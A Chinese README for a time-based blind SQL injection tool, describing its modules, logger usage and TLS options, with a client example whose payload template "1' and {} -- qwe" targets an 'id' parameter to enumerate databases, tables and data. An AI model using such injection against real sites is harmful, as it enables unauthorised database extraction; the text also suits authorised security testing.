模块化重构版本,拆分为:
algorithm.py:二分/范围搜索http_client.py:时间盲注HTTP客户端,输出单调谓词payloads.py:SQL表达式拼装enumerator.py:高层枚举逻辑(库/表/列/数据)logger.py:轻量日志(等级+颜色)examples/demo.py:示例入口
from logger import Logger
logger = Logger(level="INFO", name="Demo", with_time=True, enable_color=True)
logger.debug("调试信息")
logger.info("普通信息")
logger.success("成功信息")
logger.warn("警告信息")
logger.error("错误信息")等级含义:DEBUG < INFO < SUCCESS < WARN < ERROR。通过 level 过滤较低等级输出。enable_color=True 时采用 ANSI 颜色在终端显示不同颜色。
示例默认不会发起请求,只演示如何接入日志:
from http_client import TimeBlindClient
from enumerator import Enumerator
from logger import Logger
logger = Logger(level="INFO", name="Demo", with_time=True, enable_color=True)
client = TimeBlindClient(
url="https://example/api/",
arg="id",
method="GET",
formatstr="1' and {} -- qwe",
sleep_seconds=3,
timeout_seconds=5.0,
threshold_seconds=1.5,
retries=2,
logger=logger,
)
enum = Enumerator(client, max_ascii=126, logger=logger)
# logger.info("开始演示 current_database()")
# result = enum.current_database()
# logger.success(f"current_database -> {result}")你可以调高 Logger 等级或关闭颜色;也可切换 threshold_seconds 与 retries 以适配目标环境延迟波动。
默认 verify=False 会导致 urllib3 抛出 InsecureRequestWarning。本实现默认通过 disable_tls_warnings=True 屏蔽此告警。更安全的配置为:
client = TimeBlindClient(
url="https://example/api/",
arg="id",
method="GET",
formatstr="1' and {} -- qwe",
verify="/path/to/ca-bundle.pem", # 或者 True 使用系统根证书
disable_tls_warnings=False, # 启用告警提示不安全配置
# ... 其它参数
)参考文档:urllib3 TLS warnings 指南(见 https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings)。